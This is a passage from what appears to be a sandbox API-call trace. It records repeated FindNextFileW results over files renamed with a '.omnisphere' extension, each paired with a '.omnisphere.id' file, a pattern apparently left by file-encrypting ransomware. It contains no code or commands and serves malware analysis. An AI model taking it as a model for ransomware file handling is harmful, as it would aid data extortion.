ftLastWriteTime.dwLowDateTime=0x2cfc356e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ww91yWLQvtP12ZZP0G.ots.lnk.omnisphere.id", cAlternateFileName="WW91YW~1.ID")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecaf32df, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x2244a37f, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cfe97c0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x881, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="x9kjev9n_-.lnk.omnisphere", cAlternateFileName="X9KJEV~1.OMN")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cfe97c0, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2cfe97c0, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2cfe97c0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="x9kjev9n_-.lnk.omnisphere.id", cAlternateFileName="X9KJEV~1.ID")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x226f8e4e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x226f8e4e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d035e97, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x975, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="XfvLeb.lnk.omnisphere", cAlternateFileName="XFVLEB~1.OMN")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d035e97, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d035e97, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d035e97, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="XfvLeb.lnk.omnisphere.id", cAlternateFileName="XFVLEB~1.ID")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f4181b0, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f4181b0, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d05bfb0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xaee, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="xM_J.lnk.omnisphere", cAlternateFileName="XM_JLN~1.OMN")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d05bfb0, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d05bfb0, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d05bfb0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="xM_J.lnk.omnisphere.id", cAlternateFileName="XM_JLN~1.ID")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bbc2a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f5bbc2a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d0822f6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7b1, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="XpzbuGntc-6.lnk.omnisphere", cAlternateFileName="XPZBUG~1.OMN")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0822f6, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d0822f6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d0822f6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="XpzbuGntc-6.lnk.omnisphere.id", cAlternateFileName="XPZBUG~1.ID")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a33ca5, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x1e662983, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d0ce7d5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x908, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Y1OgNpUhXWMtOPL3N.lnk.omnisphere", cAlternateFileName="Y1OGNP~1.OMN")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0ce7d5, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d0ce7d5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d0ce7d5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Y1OgNpUhXWMtOPL3N.lnk.omnisphere.id", cAlternateFileName="Y1OGNP~1.ID")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49d5c89, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f866524, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d0f4a7c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8ea, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Y60hJ0R.lnk.omnisphere", cAlternateFileName="Y60HJ0~1.OMN")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0f4a7c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d0f4a7c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d0f4a7c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Y60hJ0R.lnk.omnisphere.id", cAlternateFileName="Y60HJ0~1.ID")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20f6dae0, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20f6dae0, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d11aaed, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7a7, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="yfPx0cEnV.lnk.omnisphere", cAlternateFileName="YFPX0C~1.OMN")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d11aaed, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d11aaed, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d11aaed, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="yfPx0cEnV.lnk.omnisphere.id", cAlternateFileName="YFPX0C~1.ID")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2109ed0b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2109ed0b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d1671ba, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7a2, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="YQ2t28Ch.lnk.omnisphere", cAlternateFileName="YQ2T28~1.OMN")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d1671ba, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d1671ba, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d1671ba, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="YQ2t28Ch.lnk.omnisphere.id", cAlternateFileName="YQ2T28~1.ID")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c6467a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x21c6467a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d18d1db, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8f2, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="yR2XIoXCvmYLDc.lnk.omnisphere", cAlternateFileName="YR2XIO~1.OMN")) returned 1 [0128.874] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d18d1db, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d18d1db, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d18d1db, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="yR2XIoXCvmYLDc.lnk.omnisphere.id", cAlternateFileName="YR2XIO~1.ID")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de0a783, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1de0a783, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d272157, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="YznNfbrntMwZcMW.lnk.omnisphere", cAlternateFileName="YZNNFB~1.OMN")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d24becc, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d24becc, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d272157, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="YznNfbrntMwZcMW.lnk.omnisphere.id", cAlternateFileName="YZNNFB~1.ID")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20b8dc4d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2307413b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d298493, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x908, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Z -FpX (2).lnk.omnisphere", cAlternateFileName="Z-FPX(~1.OMN")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d298493, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d298493, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d298493, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Z -FpX (2).lnk.omnisphere.id", cAlternateFileName="Z-FPX(~1.ID")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf431ac48, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x1a3f3778, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d298493, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x908, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Z -FpX.lnk.omnisphere", cAlternateFileName="Z-FPXL~1.OMN")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d298493, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d298493, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d298493, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Z -FpX.lnk.omnisphere.id", cAlternateFileName="Z-FPXL~1.ID")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec7f8333, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x22c6dfcb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d2e4911, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x89f, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="z2EYOFw6GdqJzJtq.lnk.omnisphere", cAlternateFileName="Z2EYOF~1.OMN")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2be543, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d2be543, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d2be543, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="z2EYOFw6GdqJzJtq.lnk.omnisphere.id", cAlternateFileName="Z2EYOF~1.ID")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f30d143, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f30d143, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d2e4911, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x869, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ZazBvQZ_SvZ5b.flv.lnk.omnisphere", cAlternateFileName="ZAZBVQ~1.OMN")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2e4911, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d2e4911, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d2e4911, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ZazBvQZ_SvZ5b.flv.lnk.omnisphere.id", cAlternateFileName="ZAZBVQ~1.ID")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eee0f69, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1eee0f69, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d30aa56, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x79b, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ZDHnF9i.lnk.omnisphere", cAlternateFileName="ZDHNF9~1.OMN")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d30aa56, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d30aa56, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d30aa56, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ZDHnF9i.lnk.omnisphere.id", cAlternateFileName="ZDHNF9~1.ID")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca347c1, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x224bcab8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d330c55, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8de, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ZFp_z.lnk.omnisphere", cAlternateFileName="ZFP_ZL~1.OMN")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d330c55, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d330c55, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d330c55, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ZFp_z.lnk.omnisphere.id", cAlternateFileName="ZFP_ZL~1.ID")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2147e99d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2147e99d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d356d95, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7a2, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="zKx06wI5.lnk.omnisphere", cAlternateFileName="ZKX06W~1.OMN")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d356d95, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d356d95, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d356d95, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="zKx06wI5.lnk.omnisphere.id", cAlternateFileName="ZKX06W~1.ID")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20d7dbb1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20d7dbb1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d37d11b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="zlNvwB3qc HK.lnk.omnisphere", cAlternateFileName="ZLNVWB~1.OMN")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d37d11b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d37d11b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d37d11b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="zlNvwB3qc HK.lnk.omnisphere.id", cAlternateFileName="ZLNVWB~1.ID")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e9f61f3, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e9f61f3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d3a332a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ZU9T.lnk.omnisphere", cAlternateFileName="ZU9TLN~1.OMN")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d3a332a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d3a332a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d3a332a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ZU9T.lnk.omnisphere.id", cAlternateFileName="ZU9TLN~1.ID")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dbf43f6, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1dbf43f6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d3c9603, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8e8, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Zw2GnEi91_3U.lnk.omnisphere", cAlternateFileName="ZW2GNE~1.OMN")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d3c9603, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d3c9603, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d3c9603, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Zw2GnEi91_3U.lnk.omnisphere.id", cAlternateFileName="ZW2GNE~1.ID")) returned 1 [0128.875] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21bcbc47, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x21bcbc47, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d3ef7f8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8cd, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ZZ6tka7.lnk.omnisphere", cAlternateFileName="ZZ6TKA~1.OMN")) returned 1 [0128.876] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d3ef7f8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d3ef7f8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d3ef7f8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ZZ6tka7.lnk.omnisphere.id", cAlternateFileName="ZZ6TKA~1.ID")) returned 1 [0128.876] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d3ef7f8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2d3ef7f8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d3ef7f8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="ZZ6tka7.lnk.omnisphere.id", 